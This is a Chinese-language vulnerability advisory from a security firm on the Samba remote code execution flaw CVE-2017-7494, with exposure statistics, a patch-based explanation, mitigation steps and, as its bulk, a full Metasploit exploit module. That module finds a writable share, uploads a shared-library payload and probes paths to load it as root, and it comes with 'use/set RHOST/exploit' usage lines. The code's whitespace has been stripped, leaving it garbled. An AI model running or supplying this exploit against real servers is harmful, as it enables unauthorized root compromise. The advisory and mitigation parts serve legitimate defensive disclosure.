【漏洞预警】Samba远程代码执行漏洞

匿名者  2737天前

2017年5月24日Samba发布了4.6.4版本,其中修复了一个严重的远程代码执行漏洞,该漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0-4.6.4,3.5.0-4.5.10,3.5.0-4.4.14中间的版本(不包含4.6.4,4.5.10,4.4.14版本)。该漏洞可以造成远程代码执行,恶意攻击者可提升至root权限,对服务器进行任意破坏操作。

根据白帽汇FOFA系统统计,目前,全球共有190万个存在smblinux服务器,美国共有8.6万,中国地区有6.5万,该存在smb服务最多的国家是阿拉伯联合酋长国,有87万台。目前经过白帽汇安全工程师的测试发现Synology NAS系统存在该问题。

Samba 服务全球开放情况(仅为端口开放情况,非漏洞影响情况)

Samba 服务中国地区开放情况(仅为端口开放情况,非漏洞影响情况)

漏洞原理与危害

该漏洞需要通过一个可写入的Samba用户权限即可以提权root权限,即使Samba默认不是root用户执行。

通过发布的最新版本补丁,进行对比分析,可以看到在is_known_pipename函数中对pipename是否包含/进行了检查。

通过补丁可知,这里我们可以构造一个有/符号的管道名或路径名,如/home/exchange/evil.so

对于存在漏洞的版本,就会代入smb_probe_module中,从而可以加载攻击者上传并执行dll或者so文件。

漏洞影响

暂无

漏洞POC

以下PoCMetasplotFramework框架的利用代码,使用时请把该文件保存到msf文件夹modules/exploits/linux/samba中,并命名为is_known_pipename.rb

classMetasploitModule<Msf::Exploit::Remote

Rank=ExcellentRanking

 

includeMsf::Exploit::Remote::DCERPC

includeMsf::Exploit::Remote::SMB::Client

 

definitialize(info={})

super(update_info(info,

'Name'=>'Sambais_known_pipename()ArbitraryModuleLoad',

'Description'=>%q{

Thismoduletriggersanarbitrarysharedlibraryloadvulnerability

inSambaversions3.5.0to4.4.14,4.5.10,and4.6.4.Thismodule

requiresvalidcredentials,awriteablefolderinanaccessibleshare,

andknowledgeoftheserver-sidepathofthewriteablefolder.In

somecases,anonymousaccesscombinedwithcommonfilesystemlocations

canbeusedtoautomaticallyexploitthisvulnerability.

},

'Author'=>

[

'steelo<knownsteelo[at]gmail.com>',#VulnerabilityDiscovery

'hdm',#MetasploitModule

],

'License'=>MSF_LICENSE,

'References'=>

[

['CVE','2017-7494'],

['URL','https://www.samba.org/samba/security/CVE-2017-7494.html'],

],

'Payload'=>

{

'Space'=>9000,

'DisableNops'=>true

},

'Platform'=>'linux',

#

#TargetsarecurrentlylimitedbyplatformswithELF-SOpayloadwrappers

#

'Targets'=>

[

['LinuxARM(LE)',{'Arch'=>ARCH_ARMLE}],

['Linuxx86',{'Arch'=>ARCH_X86}],

['Linuxx86_64',{'Arch'=>ARCH_X64}],

#['LinuxMIPS',{'Arch'=>MIPS}],

],

'Privileged'=>true,

'DisclosureDate'=>'Mar242017',

'DefaultTarget'=>2))

 

register_options(

[

OptString.new('SMB_SHARE_NAME',[false,'ThenameoftheSMBsharecontainingawriteabledirectory']),

OptString.new('SMB_SHARE_BASE',[false,'TheremotefilesystempathcorrelatingwiththeSMBsharename']),

OptString.new('SMB_FOLDER',[false,'ThedirectorytousewithinthewriteableSMBshare']),

])

end

 

 

defgenerate_common_locations

candidates=[]

ifdatastore['SMB_SHARE_BASE'].to_s.length>0

candidates<<datastore['SMB_SHARE_BASE']

end

 

%W{/volume1/volume2/volume3/shared/mnt/mnt/usb/media/mnt/media/var/samba/tmp/home/home/shared}.eachdo|base_name|

candidates<<base_name

candidates<<[base_name,@share]

candidates<<[base_name,@share.downcase]

candidates<<[base_name,@share.upcase]

candidates<<[base_name,@share.capitalize]

candidates<<[base_name,@share.gsub("","_")]

end

 

candidates.uniq

end

 

defenumerate_directories(share)

begin

self.simple.connect("\\\\#{rhost}\\#{share}")

stuff=self.simple.client.find_first("\\*")

directories=[""]

stuff.each_pairdo|entry,entry_attr|

nextif%W{...}.include?(entry)

nextunlessentry_attr['type']=='D'

directories<<entry

end

 

returndirectories

 

rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e

vprint_error("Enum#{share}:#{e}")

returnnil

 

ensure

ifself.simple.shares["\\\\#{rhost}\\#{share}"]

self.simple.disconnect("\\\\#{rhost}\\#{share}")

end

end

end

 

defverify_writeable_directory(share,directory="")

begin

self.simple.connect("\\\\#{rhost}\\#{share}")

 

random_filename=Rex::Text.rand_text_alpha(5)+".txt"

filename=directory.length==0?"\\#{random_filename}":"\\#{directory}\\#{random_filename}"

 

wfd=simple.open(filename,'rwct')

wfd<<Rex::Text.rand_text_alpha(8)

wfd.close

 

simple.delete(filename)

returntrue

 

rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e

vprint_error("Write#{share}#{filename}:#{e}")

returnfalse

 

ensure

ifself.simple.shares["\\\\#{rhost}\\#{share}"]

self.simple.disconnect("\\\\#{rhost}\\#{share}")

end

end

end

 

defshare_type(val)

['DISK','PRINTER','DEVICE','IPC','SPECIAL','TEMPORARY'][val]

end

 

defenumerate_shares_lanman

shares=[]

begin

res=self.simple.client.trans(

"\\PIPE\\LANMAN",

(

[0x00].pack('v')+

"WrLeh\x00"+

"B13BWz\x00"+

[0x01,65406].pack("vv")

))

rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e

vprint_error("CouldnotenumeratesharesviaLANMAN")

return[]

end

ifres.nil?

vprint_error("CouldnotenumeratesharesviaLANMAN")

return[]

end

 

lerror,lconv,lentries,lcount=res['Payload'].to_s[

res['Payload'].v['ParamOffset'],

res['Payload'].v['ParamCount']

].unpack("v4")

 

data=res['Payload'].to_s[

res['Payload'].v['DataOffset'],

res['Payload'].v['DataCount']

]

 

0.upto(lentries-1)do|i|

sname,tmp=data[(i*20)+0,14].split("\x00")

stype=data[(i*20)+14,2].unpack('v')[0]

scoff=data[(i*20)+16,2].unpack('v')[0]

scoff-=lconviflconv!=0

scomm,tmp=data[scoff,data.length-scoff].split("\x00")

shares<<[sname,share_type(stype),scomm]

end

 

shares

end

 

defprobe_module_path(path)

begin

simple.create_pipe(path)

rescueRex::Proto::SMB::Exceptions::ErrorCode=>e

vprint_error("Probe:#{path}:#{e}")

end

end

 

deffind_writeable_path(share)

subdirs=enumerate_directories(share)

returnunlesssubdirs

 

ifdatastore['SMB_FOLDER'].to_s.length>0

subdirs.unshift(datastore['SMB_FOLDER'])

end

 

subdirs.eachdo|subdir|

nextunlessverify_writeable_directory(share,subdir)

returnsubdir

end

 

nil

end

 

deffind_writeable_share_path

@path=nil

share_info=enumerate_shares_lanman

ifdatastore['SMB_SHARE_NAME'].to_s.length>0

share_info.unshift[datastore['SMB_SHARE_NAME'],'DISK','']

end

 

share_info.eachdo|share|

nextifshare.first.upcase=='IPC$'

found=find_writeable_path(share.first)

nextunlessfound

@share=share.first

@path=found

break

end

end

 

deffind_writeable

find_writeable_share_path

unless@share&&@path

print_error("Nosuiteableshareandpathwerefound,trysettingSMB_SHARE_NAMEandSMB_FOLDER")

fail_with(Failure::NoTarget,"Nomatchingtarget")

end

print_status("Usinglocation\\\\#{rhost}\\#{@share}\\#{@path}forthepath")

end

 

defupload_payload

begin

self.simple.connect("\\\\#{rhost}\\#{@share}")

 

random_filename=Rex::Text.rand_text_alpha(8)+".so"

filename=@path.length==0?"\\#{random_filename}":"\\#{@path}\\#{random_filename}"

wfd=simple.open(filename,'rwct')

wfd<<Msf::Util::EXE.to_executable_fmt(framework,target.arch,target.platform,

payload.encoded,"elf-so",{:arch=>target.arch,:platform=>target.platform}

)

wfd.close

 

@payload_name=random_filename

returntrue

 

rescue::Rex::Proto::SMB::Exceptions::ErrorCode=>e

print_error("Write#{@share}#{filename}:#{e}")

returnfalse

 

ensure

ifself.simple.shares["\\\\#{rhost}\\#{@share}"]

self.simple.disconnect("\\\\#{rhost}\\#{@share}")

end

end

end

 

deffind_payload

print_status("Payloadisstoredin//#{rhost}/#{@share}/#{@path}as#{@payload_name}")

 

#ReconnecttoIPC$

simple.connect("\\\\#{rhost}\\IPC$")

 

#

#InaperfectworldwewouldfindawaymakeIPC$'sassociatedCWD

#changetooursharepath,whichwouldallowthefollowingcode:

#

#probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")

#

 

#Untilwefindabetterway,bruteforcebasedoncommonpaths

generate_common_locations.eachdo|location|

target=[location,@path,@payload_name].join("/").gsub(/\/+/,'/')

print_status("Tryinglocation#{target}...")

probe_module_path(target)

end

end

 

defexploit

#SetupSMB

connect

smb_login

 

#Findawriteableshare

find_writeable

 

#Uploadthesharedlibrarypayload

upload_payload

 

#Findandexecutethepayloadfromtheshare

find_payloadrescueRex::StreamClosedError

 

#Shutdown

disconnect

end

 

end

使用方法:

useexploit/linux/samba/is_known_pipename

setRHOST目标ip

exploit

成功后就会返回Shell,成功后效果如下图:

CVE编号

CVE-2017-7494

修复建议

1、下载安装最新版本的samba软件。最新版本:

https://www.samba.org/samba/history/samba-4.6.4.html

https://www.samba.org/samba/history/samba-4.5.10.html

https://www.samba.org/samba/history/samba-4.4.14.html

2、用户可以通过临时修改smb.conf文件进行防御,在smb.conf[global]节点下增加 ntpipesupport=no选项,然后重新启动samba服务,即可防御相关攻击。

白帽汇会持续对该漏洞进行跟进。后续可以关注链接

参考

[1] https://lists.samba.org/archive/samba-announce/2017/000406.html

[2] https://github.com/rapid7/metasploit-framework/pull/8450

北京白帽汇科技有限公司是一家专注于安全大数据、企业威胁情报,为企业提供尖端安全产品和服务的一家高科技互联网企业。公司产品包括:EWSIS-企业web安全监控系统、ETSS-企业威胁感知系统、ANDERSEN-企业威胁感知平台(SAAS)、NOSEC-大数据安全协作平台。可为企业提供:网络空间测绘网站安全监控、企业资产收集、漏洞扫描、安全日志分析、员工邮箱泄露监测、企业威胁情报、应急响应、安全代维等解决方案和服务。

最新评论

昵称
邮箱
提交评论